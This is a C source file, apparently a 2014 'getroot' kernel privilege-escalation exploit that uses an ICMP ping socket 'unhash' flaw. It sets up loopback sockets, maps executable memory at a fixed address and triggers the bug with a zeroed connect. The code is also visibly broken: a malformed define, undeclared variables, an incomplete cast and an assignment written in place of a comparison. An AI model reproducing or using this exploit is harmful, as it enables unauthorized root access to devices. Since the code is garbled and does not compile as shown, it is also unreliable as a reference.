exploit.c

/* getroot 2014/07/12 */

/*
 * Copyright (C) 2014 CUBE
 *
 * Modify scoty755
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/mman.h>
#include <string.h>


#define USER_PRIO_BASE          120

#define LOCAL_PORT              5551

#define SIGNAL_HACK_KERNEL      12

#define SIOCGSTAMPNS	0x8907

#define LIST POISON2 0x200200

static int
server_for_setup_rt_waiter(void)
{
    int sockfd;
    int yes = 1;
    struct sockaddr_in addr = {0};
    
    sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
    
    setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
    
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOCAL_PORT);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
    
    listen(sockfd, 1);
    
    return accept(sockfd, NULL, NULL);
}

static int
connect_server_socket(void)
{
    int sockfd;
    struct sockaddr_in addr = {0};
    int ret;
    int sock_buf_size;
    
    sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
    if (sockfd < 0) {
        printf("socket failed\n");
        usleep(10);
    }
    else {
        addr.sin_family = AF_INET;
        addr.sin_port = htons(LOCAL_PORT);
        addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    }
    
    while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
        usleep(10);
    }
    
    sock_buf_size = 1;
    setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
    
    return sockfd;
}

int
ping_unhash_exploit_main(void)
{
    pthread_t thread_client_to_setup_rt_waiter;
    unsigned long mapped_address;
    void *waiter_plist;
    
    mapped_address = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
    if (mapped_address < 0x80000000) {
        printf("mmap failed?\n");
        return 1;
    }
    
    waiter_plist = (void *)mapped_address + 0x800;
    
    sockfd = connect_server_socket();
    
    if (server_for_setup_rt_waiter() < 0) {
        printf("Server failed\n");
        return 1;
    }
    
    pthread_mutex_lock(&done_lock);
    
    ret = ioctl(sockfd, SIOCGSTAMPNS, (struct addr*));
    
    addr.sin_family = 0;
    connect(sockfd, (struct sockaddr *)&addr, 16);
    
    pthread_cond_wait(&done, &done_lock);
    pthread_mutex_unlock(&done_lock);
    
    if (ret = -1){
        return false;
    }
    
    return  true;
}